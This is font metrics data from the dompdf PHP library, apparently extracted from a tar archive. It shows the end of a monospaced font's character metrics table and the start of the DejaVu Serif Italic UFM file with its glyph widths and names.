C 161 ; WX 600 ; N exclamdown ; B 202 -146 398 449 ;
C 162 ; WX 600 ; N cent ; B 66 -49 518 614 ;
C 163 ; WX 600 ; N sterling ; B 72 -28 558 611 ;
C -1 ; WX 600 ; N fraction ; B 25 -60 576 661 ;
C 165 ; WX 600 ; N yen ; B 10 0 590 562 ;
C 131 ; WX 600 ; N florin ; B -30 -131 572 616 ;
C 167 ; WX 600 ; N section ; B 83 -70 517 580 ;
C 164 ; WX 600 ; N currency ; B 54 49 546 517 ;
C 39 ; WX 600 ; N quotesingle ; B 227 277 373 562 ;
C 147 ; WX 600 ; N quotedblleft ; B 71 277 535 562 ;
C 171 ; WX 600 ; N guillemotleft ; B 8 70 553 446 ;
C 139 ; WX 600 ; N guilsinglleft ; B 141 70 459 446 ;
C 155 ; WX 600 ; N guilsinglright ; B 141 70 459 446 ;
C -1 ; WX 600 ; N fi ; B 12 0 593 626 ;
C -1 ; WX 600 ; N fl ; B 12 0 593 626 ;
C 150 ; WX 600 ; N endash ; B 65 203 535 313 ;
C 134 ; WX 600 ; N dagger ; B 106 -70 494 580 ;
C 135 ; WX 600 ; N daggerdbl ; B 106 -70 494 580 ;
C 183 ; WX 600 ; N periodcentered ; B 196 165 404 351 ;
C 182 ; WX 600 ; N paragraph ; B 6 -70 576 580 ;
C 149 ; WX 600 ; N bullet ; B 140 132 460 430 ;
C 130 ; WX 600 ; N quotesinglbase ; B 175 -142 427 143 ;
C 132 ; WX 600 ; N quotedblbase ; B 65 -142 529 143 ;
C 148 ; WX 600 ; N quotedblright ; B 61 277 525 562 ;
C 187 ; WX 600 ; N guillemotright ; B 47 70 592 446 ;
C 133 ; WX 600 ; N ellipsis ; B 26 -15 574 116 ;
C 137 ; WX 600 ; N perthousand ; B -113 -15 713 616 ;
C 191 ; WX 600 ; N questiondown ; B 99 -146 502 449 ;
C 96 ; WX 600 ; N grave ; B 132 508 395 661 ;
C 180 ; WX 600 ; N acute ; B 205 508 468 661 ;
C 136 ; WX 600 ; N circumflex ; B 103 483 497 657 ;
C 152 ; WX 600 ; N tilde ; B 89 493 512 636 ;
C 175 ; WX 600 ; N macron ; B 88 505 512 585 ;
C -1 ; WX 600 ; N breve ; B 83 468 517 631 ;
C -1 ; WX 600 ; N dotaccent ; B 230 498 370 638 ;
C 168 ; WX 600 ; N dieresis ; B 128 498 472 638 ;
C -1 ; WX 600 ; N ring ; B 198 481 402 678 ;
C 184 ; WX 600 ; N cedilla ; B 205 -206 387 0 ;
C -1 ; WX 600 ; N hungarumlaut ; B 68 488 588 661 ;
C -1 ; WX 600 ; N ogonek ; B 169 -199 400 0 ;
C -1 ; WX 600 ; N caron ; B 103 493 497 667 ;
C 151 ; WX 600 ; N emdash ; B -10 203 610 313 ;
C 198 ; WX 600 ; N AE ; B -29 0 602 562 ;
C 170 ; WX 600 ; N ordfeminine ; B 147 196 453 580 ;
C -1 ; WX 600 ; N Lslash ; B 39 0 578 562 ;
C 216 ; WX 600 ; N Oslash ; B 22 -22 578 584 ;
C 140 ; WX 600 ; N OE ; B -25 0 595 562 ;
C 186 ; WX 600 ; N ordmasculine ; B 147 196 453 580 ;
C 230 ; WX 600 ; N ae ; B -4 -15 601 454 ;
C -1 ; WX 600 ; N dotlessi ; B 77 0 523 439 ;
C -1 ; WX 600 ; N lslash ; B 77 0 523 626 ;
C 248 ; WX 600 ; N oslash ; B 30 -24 570 463 ;
C 156 ; WX 600 ; N oe ; B -18 -15 611 454 ;
C 223 ; WX 600 ; N germandbls ; B 22 -15 596 626 ;
C 207 ; WX 600 ; N Idieresis ; B 77 0 523 761 ;
C 233 ; WX 600 ; N eacute ; B 40 -15 563 661 ;
C -1 ; WX 600 ; N abreve ; B 35 -15 570 661 ;
C -1 ; WX 600 ; N uhungarumlaut ; B -1 -15 628 661 ;
C -1 ; WX 600 ; N ecaron ; B 40 -15 563 667 ;
C 159 ; WX 600 ; N Ydieresis ; B 12 0 589 761 ;
C 247 ; WX 600 ; N divide ; B 71 16 529 500 ;
C 221 ; WX 600 ; N Yacute ; B 12 0 589 784 ;
C 194 ; WX 600 ; N Acircumflex ; B -9 0 609 780 ;
C 225 ; WX 600 ; N aacute ; B 35 -15 570 661 ;
C 219 ; WX 600 ; N Ucircumflex ; B 4 -18 596 780 ;
C 253 ; WX 600 ; N yacute ; B -4 -142 601 661 ;
C -1 ; WX 600 ; N scommaaccent ; B 68 -250 535 459 ;
C 234 ; WX 600 ; N ecircumflex ; B 40 -15 563 657 ;
C -1 ; WX 600 ; N Uring ; B 4 -18 596 801 ;
C 220 ; WX 600 ; N Udieresis ; B 4 -18 596 761 ;
C -1 ; WX 600 ; N aogonek ; B 35 -199 586 454 ;
C 218 ; WX 600 ; N Uacute ; B 4 -18 596 784 ;
C -1 ; WX 600 ; N uogonek ; B -1 -199 585 439 ;
C 203 ; WX 600 ; N Edieresis ; B 25 0 560 761 ;
C -1 ; WX 600 ; N Dcroat ; B 30 0 594 562 ;
C -1 ; WX 600 ; N commaaccent ; B 205 -250 397 -57 ;
C 169 ; WX 600 ; N copyright ; B 0 -18 600 580 ;
C -1 ; WX 600 ; N Emacron ; B 25 0 560 708 ;
C -1 ; WX 600 ; N ccaron ; B 40 -15 545 667 ;
C 229 ; WX 600 ; N aring ; B 35 -15 570 678 ;
C -1 ; WX 600 ; N Ncommaaccent ; B 8 -250 610 562 ;
C -1 ; WX 600 ; N lacute ; B 77 0 523 801 ;
C 224 ; WX 600 ; N agrave ; B 35 -15 570 661 ;
C -1 ; WX 600 ; N Tcommaaccent ; B 21 -250 579 562 ;
C -1 ; WX 600 ; N Cacute ; B 22 -18 560 784 ;
C 227 ; WX 600 ; N atilde ; B 35 -15 570 636 ;
C -1 ; WX 600 ; N Edotaccent ; B 25 0 560 761 ;
C 154 ; WX 600 ; N scaron ; B 68 -17 535 667 ;
C -1 ; WX 600 ; N scedilla ; B 68 -206 535 459 ;
C 237 ; WX 600 ; N iacute ; B 77 0 523 661 ;
C -1 ; WX 600 ; N lozenge ; B 66 0 534 740 ;
C -1 ; WX 600 ; N Rcaron ; B 24 0 599 790 ;
C -1 ; WX 600 ; N Gcommaaccent ; B 22 -250 594 580 ;
C 251 ; WX 600 ; N ucircumflex ; B -1 -15 569 657 ;
C 226 ; WX 600 ; N acircumflex ; B 35 -15 570 657 ;
C -1 ; WX 600 ; N Amacron ; B -9 0 609 708 ;
C -1 ; WX 600 ; N rcaron ; B 47 0 580 667 ;
C 231 ; WX 600 ; N ccedilla ; B 40 -206 545 459 ;
C -1 ; WX 600 ; N Zdotaccent ; B 62 0 539 761 ;
C 222 ; WX 600 ; N Thorn ; B 48 0 557 562 ;
C -1 ; WX 600 ; N Omacron ; B 22 -18 578 708 ;
C -1 ; WX 600 ; N Racute ; B 24 0 599 784 ;
C -1 ; WX 600 ; N Sacute ; B 47 -22 553 784 ;
C -1 ; WX 600 ; N dcaron ; B 20 -15 727 626 ;
C -1 ; WX 600 ; N Umacron ; B 4 -18 596 708 ;
C -1 ; WX 600 ; N uring ; B -1 -15 569 678 ;
C 179 ; WX 600 ; N threesuperior ; B 138 222 433 616 ;
C 210 ; WX 600 ; N Ograve ; B 22 -18 578 784 ;
C 192 ; WX 600 ; N Agrave ; B -9 0 609 784 ;
C -1 ; WX 600 ; N Abreve ; B -9 0 609 784 ;
C 215 ; WX 600 ; N multiply ; B 81 39 520 478 ;
C 250 ; WX 600 ; N uacute ; B -1 -15 569 661 ;
C -1 ; WX 600 ; N Tcaron ; B 21 0 579 790 ;
C -1 ; WX 600 ; N partialdiff ; B 63 -38 537 728 ;
C 255 ; WX 600 ; N ydieresis ; B -4 -142 601 638 ;
C -1 ; WX 600 ; N Nacute ; B 8 -12 610 784 ;
C 238 ; WX 600 ; N icircumflex ; B 73 0 523 657 ;
C 202 ; WX 600 ; N Ecircumflex ; B 25 0 560 780 ;
C 228 ; WX 600 ; N adieresis ; B 35 -15 570 638 ;
C 235 ; WX 600 ; N edieresis ; B 40 -15 563 638 ;
C -1 ; WX 600 ; N cacute ; B 40 -15 545 661 ;
C -1 ; WX 600 ; N nacute ; B 18 0 592 661 ;
C -1 ; WX 600 ; N umacron ; B -1 -15 569 585 ;
C -1 ; WX 600 ; N Ncaron ; B 8 -12 610 790 ;
C 205 ; WX 600 ; N Iacute ; B 77 0 523 784 ;
C 177 ; WX 600 ; N plusminus ; B 71 24 529 515 ;
C 166 ; WX 600 ; N brokenbar ; B 255 -175 345 675 ;
C 174 ; WX 600 ; N registered ; B 0 -18 600 580 ;
C -1 ; WX 600 ; N Gbreve ; B 22 -18 594 784 ;
C -1 ; WX 600 ; N Idotaccent ; B 77 0 523 761 ;
C -1 ; WX 600 ; N summation ; B 15 -10 586 706 ;
C 200 ; WX 600 ; N Egrave ; B 25 0 560 784 ;
C -1 ; WX 600 ; N racute ; B 47 0 580 661 ;
C -1 ; WX 600 ; N omacron ; B 30 -15 570 585 ;
C -1 ; WX 600 ; N Zacute ; B 62 0 539 784 ;
C 142 ; WX 600 ; N Zcaron ; B 62 0 539 790 ;
C -1 ; WX 600 ; N greaterequal ; B 26 0 523 696 ;
C 208 ; WX 600 ; N Eth ; B 30 0 594 562 ;
C 199 ; WX 600 ; N Ccedilla ; B 22 -206 560 580 ;
C -1 ; WX 600 ; N lcommaaccent ; B 77 -250 523 626 ;
C -1 ; WX 600 ; N tcaron ; B 47 -15 532 703 ;
C -1 ; WX 600 ; N eogonek ; B 40 -199 563 454 ;
C -1 ; WX 600 ; N Uogonek ; B 4 -199 596 562 ;
C 193 ; WX 600 ; N Aacute ; B -9 0 609 784 ;
C 196 ; WX 600 ; N Adieresis ; B -9 0 609 761 ;
C 232 ; WX 600 ; N egrave ; B 40 -15 563 661 ;
C -1 ; WX 600 ; N zacute ; B 81 0 520 661 ;
C -1 ; WX 600 ; N iogonek ; B 77 -199 523 658 ;
C 211 ; WX 600 ; N Oacute ; B 22 -18 578 784 ;
C 243 ; WX 600 ; N oacute ; B 30 -15 570 661 ;
C -1 ; WX 600 ; N amacron ; B 35 -15 570 585 ;
C -1 ; WX 600 ; N sacute ; B 68 -17 535 661 ;
C 239 ; WX 600 ; N idieresis ; B 77 0 523 618 ;
C 212 ; WX 600 ; N Ocircumflex ; B 22 -18 578 780 ;
C 217 ; WX 600 ; N Ugrave ; B 4 -18 596 784 ;
C -1 ; WX 600 ; N Delta ; B 6 0 594 688 ;
C 254 ; WX 600 ; N thorn ; B -14 -142 570 626 ;
C 178 ; WX 600 ; N twosuperior ; B 143 230 436 616 ;
C 214 ; WX 600 ; N Odieresis ; B 22 -18 578 761 ;
C 181 ; WX 600 ; N mu ; B -1 -142 569 439 ;
C 236 ; WX 600 ; N igrave ; B 77 0 523 661 ;
C -1 ; WX 600 ; N ohungarumlaut ; B 30 -15 668 661 ;
C -1 ; WX 600 ; N Eogonek ; B 25 -199 576 562 ;
C -1 ; WX 600 ; N dcroat ; B 20 -15 591 626 ;
C 190 ; WX 600 ; N threequarters ; B -47 -60 648 661 ;
C -1 ; WX 600 ; N Scedilla ; B 47 -206 553 582 ;
C -1 ; WX 600 ; N lcaron ; B 77 0 597 626 ;
C -1 ; WX 600 ; N Kcommaaccent ; B 21 -250 599 562 ;
C -1 ; WX 600 ; N Lacute ; B 39 0 578 784 ;
C 153 ; WX 600 ; N trademark ; B -9 230 749 562 ;
C -1 ; WX 600 ; N edotaccent ; B 40 -15 563 638 ;
C 204 ; WX 600 ; N Igrave ; B 77 0 523 784 ;
C -1 ; WX 600 ; N Imacron ; B 77 0 523 708 ;
C -1 ; WX 600 ; N Lcaron ; B 39 0 637 562 ;
C 189 ; WX 600 ; N onehalf ; B -47 -60 648 661 ;
C -1 ; WX 600 ; N lessequal ; B 26 0 523 696 ;
C 244 ; WX 600 ; N ocircumflex ; B 30 -15 570 657 ;
C 241 ; WX 600 ; N ntilde ; B 18 0 592 636 ;
C -1 ; WX 600 ; N Uhungarumlaut ; B 4 -18 638 784 ;
C 201 ; WX 600 ; N Eacute ; B 25 0 560 784 ;
C -1 ; WX 600 ; N emacron ; B 40 -15 563 585 ;
C -1 ; WX 600 ; N gbreve ; B 30 -146 580 661 ;
C 188 ; WX 600 ; N onequarter ; B -56 -60 656 661 ;
C 138 ; WX 600 ; N Scaron ; B 47 -22 553 790 ;
C -1 ; WX 600 ; N Scommaaccent ; B 47 -250 553 582 ;
C -1 ; WX 600 ; N Ohungarumlaut ; B 22 -18 628 784 ;
C 176 ; WX 600 ; N degree ; B 86 243 474 616 ;
C 242 ; WX 600 ; N ograve ; B 30 -15 570 661 ;
C -1 ; WX 600 ; N Ccaron ; B 22 -18 560 790 ;
C 249 ; WX 600 ; N ugrave ; B -1 -15 569 661 ;
C -1 ; WX 600 ; N radical ; B -19 -104 473 778 ;
C -1 ; WX 600 ; N Dcaron ; B 30 0 594 790 ;
C -1 ; WX 600 ; N rcommaaccent ; B 47 -250 580 454 ;
C 209 ; WX 600 ; N Ntilde ; B 8 -12 610 759 ;
C 245 ; WX 600 ; N otilde ; B 30 -15 570 636 ;
C -1 ; WX 600 ; N Rcommaaccent ; B 24 -250 599 562 ;
C -1 ; WX 600 ; N Lcommaaccent ; B 39 -250 578 562 ;
C 195 ; WX 600 ; N Atilde ; B -9 0 609 759 ;
C -1 ; WX 600 ; N Aogonek ; B -9 -199 625 562 ;
C 197 ; WX 600 ; N Aring ; B -9 0 609 801 ;
C 213 ; WX 600 ; N Otilde ; B 22 -18 578 759 ;
C -1 ; WX 600 ; N zdotaccent ; B 81 0 520 638 ;
C -1 ; WX 600 ; N Ecaron ; B 25 0 560 790 ;
C -1 ; WX 600 ; N Iogonek ; B 77 -199 523 562 ;
C -1 ; WX 600 ; N kcommaaccent ; B 20 -250 585 626 ;
C -1 ; WX 600 ; N minus ; B 71 203 529 313 ;
C 206 ; WX 600 ; N Icircumflex ; B 77 0 523 780 ;
C -1 ; WX 600 ; N ncaron ; B 18 0 592 667 ;
C -1 ; WX 600 ; N tcommaaccent ; B 47 -250 532 562 ;
C 172 ; WX 600 ; N logicalnot ; B 71 103 529 413 ;
C 246 ; WX 600 ; N odieresis ; B 30 -15 570 638 ;
C 252 ; WX 600 ; N udieresis ; B -1 -15 569 638 ;
C -1 ; WX 600 ; N notequal ; B 12 -47 537 563 ;
C -1 ; WX 600 ; N gcommaaccent ; B 30 -146 580 714 ;
C 240 ; WX 600 ; N eth ; B 58 -27 543 626 ;
C 158 ; WX 600 ; N zcaron ; B 81 0 520 667 ;
C -1 ; WX 600 ; N ncommaaccent ; B 18 -250 592 454 ;
C 185 ; WX 600 ; N onesuperior ; B 153 230 447 616 ;
C -1 ; WX 600 ; N imacron ; B 77 0 523 585 ;
C 128 ; WX 600 ; N Euro ; B 0 0 0 0 ;
EndCharMetrics
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/DejaVuSerif-Italic.ufm000066600000404117151150442760016565 0ustar00StartFontMetrics 4.1
Notice Converted by PHP-font-lib
Comment https://github.com/PhenX/php-font-lib
EncodingScheme FontSpecific
FontName DejaVu Serif
FontSubfamily Italic
UniqueID DejaVu Serif Italic
FullName DejaVu Serif Italic
Version Version 2.37
PostScriptName DejaVuSerif-Italic
Manufacturer DejaVu fonts team
FontVendorURL http://dejavu.sourceforge.net
LicenseURL http://dejavu.sourceforge.net/wiki/index.php/License
PreferredFamily DejaVu Serif
PreferredSubfamily Italic
Weight Medium
ItalicAngle -11
IsFixedPitch false
UnderlineThickness 44
UnderlinePosition -63
FontHeightOffset 0
Ascender 928
Descender -236
FontBBox -839 -347 1645 1109
StartCharMetrics 3507
U 32 ; WX 318 ; N space ; G 3
U 33 ; WX 402 ; N exclam ; G 4
U 34 ; WX 460 ; N quotedbl ; G 5
U 35 ; WX 838 ; N numbersign ; G 6
U 36 ; WX 636 ; N dollar ; G 7
U 37 ; WX 950 ; N percent ; G 8
U 38 ; WX 890 ; N ampersand ; G 9
U 39 ; WX 275 ; N quotesingle ; G 10
U 40 ; WX 390 ; N parenleft ; G 11
U 41 ; WX 390 ; N parenright ; G 12
U 42 ; WX 500 ; N asterisk ; G 13
U 43 ; WX 838 ; N plus ; G 14
U 44 ; WX 318 ; N comma ; G 15
U 45 ; WX 338 ; N hyphen ; G 16
U 46 ; WX 318 ; N period ; G 17
U 47 ; WX 337 ; N slash ; G 18
U 48 ; WX 636 ; N zero ; G 19
U 49 ; WX 636 ; N one ; G 20
U 50 ; WX 636 ; N two ; G 21
U 51 ; WX 636 ; N three ; G 22
U 52 ; WX 636 ; N four ; G 23
U 53 ; WX 636 ; N five ; G 24
U 54 ; WX 636 ; N six ; G 25
U 55 ; WX 636 ; N seven ; G 26
U 56 ; WX 636 ; N eight ; G 27
U 57 ; WX 636 ; N nine ; G 28
U 58 ; WX 337 ; N colon ; G 29
U 59 ; WX 337 ; N semicolon ; G 30
U 60 ; WX 838 ; N less ; G 31
U 61 ; WX 838 ; N equal ; G 32
U 62 ; WX 838 ; N greater ; G 33
U 63 ; WX 536 ; N question ; G 34
U 64 ; WX 1000 ; N at ; G 35
U 65 ; WX 722 ; N A ; G 36
U 66 ; WX 735 ; N B ; G 37
U 67 ; WX 765 ; N C ; G 38
U 68 ; WX 802 ; N D ; G 39
U 69 ; WX 730 ; N E ; G 40
U 70 ; WX 694 ; N F ; G 41
U 71 ; WX 799 ; N G ; G 42
U 72 ; WX 872 ; N H ; G 43
U 73 ; WX 395 ; N I ; G 44
U 74 ; WX 401 ; N J ; G 45
U 75 ; WX 747 ; N K ; G 46
U 76 ; WX 664 ; N L ; G 47
U 77 ; WX 1024 ; N M ; G 48
U 78 ; WX 875 ; N N ; G 49
U 79 ; WX 820 ; N O ; G 50
U 80 ; WX 673 ; N P ; G 51
U 81 ; WX 820 ; N Q ; G 52
U 82 ; WX 753 ; N R ; G 53
U 83 ; WX 685 ; N S ; G 54
U 84 ; WX 667 ; N T ; G 55
U 85 ; WX 843 ; N U ; G 56
U 86 ; WX 722 ; N V ; G 57
U 87 ; WX 1028 ; N W ; G 58
U 88 ; WX 712 ; N X ; G 59
U 89 ; WX 660 ; N Y ; G 60
U 90 ; WX 695 ; N Z ; G 61
U 91 ; WX 390 ; N bracketleft ; G 62
U 92 ; WX 337 ; N backslash ; G 63
U 93 ; WX 390 ; N bracketright ; G 64
U 94 ; WX 838 ; N asciicircum ; G 65
U 95 ; WX 500 ; N underscore ; G 66
U 96 ; WX 500 ; N grave ; G 67
U 97 ; WX 596 ; N a ; G 68
U 98 ; WX 640 ; N b ; G 69
U 99 ; WX 560 ; N c ; G 70
U 100 ; WX 640 ; N d ; G 71
U 101 ; WX 592 ; N e ; G 72
U 102 ; WX 370 ; N f ; G 73
U 103 ; WX 640 ; N g ; G 74
U 104 ; WX 644 ; N h ; G 75
U 105 ; WX 320 ; N i ; G 76
U 106 ; WX 310 ; N j ; G 77
U 107 ; WX 606 ; N k ; G 78
U 108 ; WX 320 ; N l ; G 79
U 109 ; WX 948 ; N m ; G 80
U 110 ; WX 644 ; N n ; G 81
U 111 ; WX 602 ; N o ; G 82
U 112 ; WX 640 ; N p ; G 83
U 113 ; WX 640 ; N q ; G 84
U 114 ; WX 478 ; N r ; G 85
U 115 ; WX 513 ; N s ; G 86
U 116 ; WX 402 ; N t ; G 87
U 117 ; WX 644 ; N u ; G 88
U 118 ; WX 565 ; N v ; G 89
U 119 ; WX 856 ; N w ; G 90
U 120 ; WX 564 ; N x ; G 91
U 121 ; WX 565 ; N y ; G 92
U 122 ; WX 527 ; N z ; G 93
U 123 ; WX 636 ; N braceleft ; G 94
U 124 ; WX 337 ; N bar ; G 95
U 125 ; WX 636 ; N braceright ; G 96
U 126 ; WX 838 ; N asciitilde ; G 97
U 160 ; WX 318 ; N nbspace ; G 98
U 161 ; WX 402 ; N exclamdown ; G 99
U 162 ; WX 636 ; N cent ; G 100
U 163 ; WX 636 ; N sterling ; G 101
U 164 ; WX 636 ; N currency ; G 102
U 165 ; WX 636 ; N yen ; G 103
U 166 ; WX 337 ; N brokenbar ; G 104
U 167 ; WX 500 ; N section ; G 105
U 168 ; WX 500 ; N dieresis ; G 106
U 169 ; WX 1000 ; N copyright ; G 107
U 170 ; WX 475 ; N ordfeminine ; G 108
U 171 ; WX 612 ; N guillemotleft ; G 109
U 172 ; WX 838 ; N logicalnot ; G 110
U 173 ; WX 338 ; N sfthyphen ; G 111
U 174 ; WX 1000 ; N registered ; G 112
U 175 ; WX 500 ; N macron ; G 113
U 176 ; WX 500 ; N degree ; G 114
U 177 ; WX 838 ; N plusminus ; G 115
U 178 ; WX 401 ; N twosuperior ; G 116
U 179 ; WX 401 ; N threesuperior ; G 117
U 180 ; WX 500 ; N acute ; G 118
U 181 ; WX 650 ; N mu ; G 119
U 182 ; WX 636 ; N paragraph ; G 120
U 183 ; WX 318 ; N periodcentered ; G 121
U 184 ; WX 500 ; N cedilla ; G 122
U 185 ; WX 401 ; N onesuperior ; G 123
U 186 ; WX 470 ; N ordmasculine ; G 124
U 187 ; WX 612 ; N guillemotright ; G 125
U 188 ; WX 969 ; N onequarter ; G 126
U 189 ; WX 969 ; N onehalf ; G 127
U 190 ; WX 969 ; N threequarters ; G 128
U 191 ; WX 536 ; N questiondown ; G 129
U 192 ; WX 722 ; N Agrave ; G 130
U 193 ; WX 722 ; N Aacute ; G 131
U 194 ; WX 722 ; N Acircumflex ; G 132
U 195 ; WX 722 ; N Atilde ; G 133
U 196 ; WX 722 ; N Adieresis ; G 134
U 197 ; WX 722 ; N Aring ; G 135
U 198 ; WX 1001 ; N AE ; G 136
U 199 ; WX 765 ; N Ccedilla ; G 137
U 200 ; WX 730 ; N Egrave ; G 138
U 201 ; WX 730 ; N Eacute ; G 139
U 202 ; WX 730 ; N Ecircumflex ; G 140
U 203 ; WX 730 ; N Edieresis ; G 141
U 204 ; WX 395 ; N Igrave ; G 142
U 205 ; WX 395 ; N Iacute ; G 143
U 206 ; WX 395 ; N Icircumflex ; G 144
U 207 ; WX 395 ; N Idieresis ; G 145
U 208 ; WX 807 ; N Eth ; G 146
U 209 ; WX 875 ; N Ntilde ; G 147
U 210 ; WX 820 ; N Ograve ; G 148
U 211 ; WX 820 ; N Oacute ; G 149
U 212 ; WX 820 ; N Ocircumflex ; G 150
U 213 ; WX 820 ; N Otilde ; G 151
U 214 ; WX 820 ; N Odieresis ; G 152
U 215 ; WX 838 ; N multiply ; G 153
U 216 ; WX 820 ; N Oslash ; G 154
U 217 ; WX 843 ; N Ugrave ; G 155
U 218 ; WX 843 ; N Uacute ; G 156
U 219 ; WX 843 ; N Ucircumflex ; G 157
U 220 ; WX 843 ; N Udieresis ; G 158
U 221 ; WX 660 ; N Yacute ; G 159
U 222 ; WX 676 ; N Thorn ; G 160
U 223 ; WX 668 ; N germandbls ; G 161
U 224 ; WX 596 ; N agrave ; G 162
U 225 ; WX 596 ; N aacute ; G 163
U 226 ; WX 596 ; N acircumflex ; G 164
U 227 ; WX 596 ; N atilde ; G 165
U 228 ; WX 596 ; N adieresis ; G 166
U 229 ; WX 596 ; N aring ; G 167
U 230 ; WX 940 ; N ae ; G 168
U 231 ; WX 560 ; N ccedilla ; G 169
U 232 ; WX 592 ; N egrave ; G 170
U 233 ; WX 592 ; N eacute ; G 171
U 234 ; WX 592 ; N ecircumflex ; G 172
U 235 ; WX 592 ; N edieresis ; G 173
U 236 ; WX 320 ; N igrave ; G 174
U 237 ; WX 320 ; N iacute ; G 175
U 238 ; WX 320 ; N icircumflex ; G 176
U 239 ; WX 320 ; N idieresis ; G 177
U 240 ; WX 602 ; N eth ; G 178
U 241 ; WX 644 ; N ntilde ; G 179
U 242 ; WX 602 ; N ograve ; G 180
U 243 ; WX 602 ; N oacute ; G 181
U 244 ; WX 602 ; N ocircumflex ; G 182
U 245 ; WX 602 ; N otilde ; G 183
U 246 ; WX 602 ; N odieresis ; G 184
U 247 ; WX 838 ; N divide ; G 185
U 248 ; WX 602 ; N oslash ; G 186
U 249 ; WX 644 ; N ugrave ; G 187
U 250 ; WX 644 ; N uacute ; G 188
U 251 ; WX 644 ; N ucircumflex ; G 189
U 252 ; WX 644 ; N udieresis ; G 190
U 253 ; WX 565 ; N yacute ; G 191
U 254 ; WX 640 ; N thorn ; G 192
U 255 ; WX 565 ; N ydieresis ; G 193
U 256 ; WX 722 ; N Amacron ; G 194
U 257 ; WX 596 ; N amacron ; G 195
U 258 ; WX 722 ; N Abreve ; G 196
U 259 ; WX 596 ; N abreve ; G 197
U 260 ; WX 722 ; N Aogonek ; G 198
U 261 ; WX 596 ; N aogonek ; G 199
U 262 ; WX 765 ; N Cacute ; G 200
U 263 ; WX 560 ; N cacute ; G 201
U 264 ; WX 765 ; N Ccircumflex ; G 202
U 265 ; WX 560 ; N ccircumflex ; G 203
U 266 ; WX 765 ; N Cdotaccent ; G 204
U 267 ; WX 560 ; N cdotaccent ; G 205
U 268 ; WX 765 ; N Ccaron ; G 206
U 269 ; WX 560 ; N ccaron ; G 207
U 270 ; WX 802 ; N Dcaron ; G 208
U 271 ; WX 640 ; N dcaron ; G 209
U 272 ; WX 807 ; N Dcroat ; G 210
U 273 ; WX 640 ; N dmacron ; G 211
U 274 ; WX 730 ; N Emacron ; G 212
U 275 ; WX 592 ; N emacron ; G 213
U 276 ; WX 730 ; N Ebreve ; G 214
U 277 ; WX 592 ; N ebreve ; G 215
U 278 ; WX 730 ; N Edotaccent ; G 216
U 279 ; WX 592 ; N edotaccent ; G 217
U 280 ; WX 730 ; N Eogonek ; G 218
U 281 ; WX 592 ; N eogonek ; G 219
U 282 ; WX 730 ; N Ecaron ; G 220
U 283 ; WX 592 ; N ecaron ; G 221
U 284 ; WX 799 ; N Gcircumflex ; G 222
U 285 ; WX 640 ; N gcircumflex ; G 223
U 286 ; WX 799 ; N Gbreve ; G 224
U 287 ; WX 640 ; N gbreve ; G 225
U 288 ; WX 799 ; N Gdotaccent ; G 226
U 289 ; WX 640 ; N gdotaccent ; G 227
U 290 ; WX 799 ; N Gcommaaccent ; G 228
U 291 ; WX 640 ; N gcommaaccent ; G 229
U 292 ; WX 872 ; N Hcircumflex ; G 230
U 293 ; WX 644 ; N hcircumflex ; G 231
U 294 ; WX 872 ; N Hbar ; G 232
U 295 ; WX 644 ; N hbar ; G 233
U 296 ; WX 395 ; N Itilde ; G 234
U 297 ; WX 320 ; N itilde ; G 235
U 298 ; WX 395 ; N Imacron ; G 236
U 299 ; WX 320 ; N imacron ; G 237
U 300 ; WX 395 ; N Ibreve ; G 238
U 301 ; WX 320 ; N ibreve ; G 239
U 302 ; WX 395 ; N Iogonek ; G 240
U 303 ; WX 320 ; N iogonek ; G 241
U 304 ; WX 395 ; N Idot ; G 242
U 305 ; WX 320 ; N dotlessi ; G 243
U 306 ; WX 801 ; N IJ ; G 244
U 307 ; WX 533 ; N ij ; G 245
U 308 ; WX 401 ; N Jcircumflex ; G 246
U 309 ; WX 310 ; N jcircumflex ; G 247
U 310 ; WX 747 ; N Kcommaaccent ; G 248
U 311 ; WX 606 ; N kcommaaccent ; G 249
U 312 ; WX 606 ; N kgreenlandic ; G 250
U 313 ; WX 664 ; N Lacute ; G 251
U 314 ; WX 320 ; N lacute ; G 252
U 315 ; WX 664 ; N Lcommaaccent ; G 253
U 316 ; WX 320 ; N lcommaaccent ; G 254
U 317 ; WX 664 ; N Lcaron ; G 255
U 318 ; WX 400 ; N lcaron ; G 256
U 319 ; WX 671 ; N Ldot ; G 257
U 320 ; WX 465 ; N ldot ; G 258
U 321 ; WX 669 ; N Lslash ; G 259
U 322 ; WX 324 ; N lslash ; G 260
U 323 ; WX 875 ; N Nacute ; G 261
U 324 ; WX 644 ; N nacute ; G 262
U 325 ; WX 875 ; N Ncommaaccent ; G 263
U 326 ; WX 644 ; N ncommaaccent ; G 264
U 327 ; WX 875 ; N Ncaron ; G 265
U 328 ; WX 644 ; N ncaron ; G 266
U 329 ; WX 866 ; N napostrophe ; G 267
U 330 ; WX 843 ; N Eng ; G 268
U 331 ; WX 644 ; N eng ; G 269
U 332 ; WX 820 ; N Omacron ; G 270
U 333 ; WX 602 ; N omacron ; G 271
U 334 ; WX 820 ; N Obreve ; G 272
U 335 ; WX 602 ; N obreve ; G 273
U 336 ; WX 820 ; N Ohungarumlaut ; G 274
U 337 ; WX 602 ; N ohungarumlaut ; G 275
U 338 ; WX 1137 ; N OE ; G 276
U 339 ; WX 989 ; N oe ; G 277
U 340 ; WX 753 ; N Racute ; G 278
U 341 ; WX 478 ; N racute ; G 279
U 342 ; WX 753 ; N Rcommaaccent ; G 280
U 343 ; WX 478 ; N rcommaaccent ; G 281
U 344 ; WX 753 ; N Rcaron ; G 282
U 345 ; WX 478 ; N rcaron ; G 283
U 346 ; WX 685 ; N Sacute ; G 284
U 347 ; WX 513 ; N sacute ; G 285
U 348 ; WX 685 ; N Scircumflex ; G 286
U 349 ; WX 513 ; N scircumflex ; G 287
U 350 ; WX 685 ; N Scedilla ; G 288
U 351 ; WX 513 ; N scedilla ; G 289
U 352 ; WX 685 ; N Scaron ; G 290
U 353 ; WX 513 ; N scaron ; G 291
U 354 ; WX 667 ; N Tcommaaccent ; G 292
U 355 ; WX 402 ; N tcommaaccent ; G 293
U 356 ; WX 667 ; N Tcaron ; G 294
U 357 ; WX 402 ; N tcaron ; G 295
U 358 ; WX 667 ; N Tbar ; G 296
U 359 ; WX 402 ; N tbar ; G 297
U 360 ; WX 843 ; N Utilde ; G 298
U 361 ; WX 644 ; N utilde ; G 299
U 362 ; WX 843 ; N Umacron ; G 300
U 363 ; WX 644 ; N umacron ; G 301
U 364 ; WX 843 ; N Ubreve ; G 302
U 365 ; WX 644 ; N ubreve ; G 303
U 366 ; WX 843 ; N Uring ; G 304
